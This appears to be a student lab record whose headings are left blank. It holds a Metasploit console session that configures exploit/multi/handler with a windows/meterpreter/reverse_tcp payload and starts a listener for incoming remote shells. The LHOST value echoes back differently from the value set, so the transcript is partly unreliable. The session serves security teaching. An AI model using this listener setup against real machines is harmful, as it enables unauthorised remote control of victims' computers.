

**Date:**

**Aim:**

**Algorithm:**

- Output:**

```
=[ metasploit v5.0.41-dev
+ -- ==[ 1914 exploits - 1074 auxiliary - 330 post ]
```

```
+ -- --=[ 556 payloads - 45 encoders - 10 nops      ]
+ -- --=[ 4 evasion                                ]
```

```
msf5 > use exploit/multi/handler
```

```
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
```

```
payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) >
```

```
show options
```

```
Module options (exploit/multi/handler):
```

Name	Current	Setting	Required
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Description

Payload options

(windows/meterpreter/reverse\_tcp): Name

Current	Setting	Required	Description
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EXITFUNC	process	yes	Exit technique (Accepted: ", seh, thread, process, none)
LHOST		yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit

target: Id

Name

0 Wildcard Target

```
msf5 exploit(multi/handler) > set LHOST 172.16.8.155
```

```
LHOST => 172.16.8.156
```

```
msf5 exploit(multi/handler) > set LPORT 443
```

```
LPORT => 443
```

```
msf5 exploit(multi/handler) > exploit
```

```
[*] Started reverse TCP handler on 172.16.8.155:443
```

**Result:**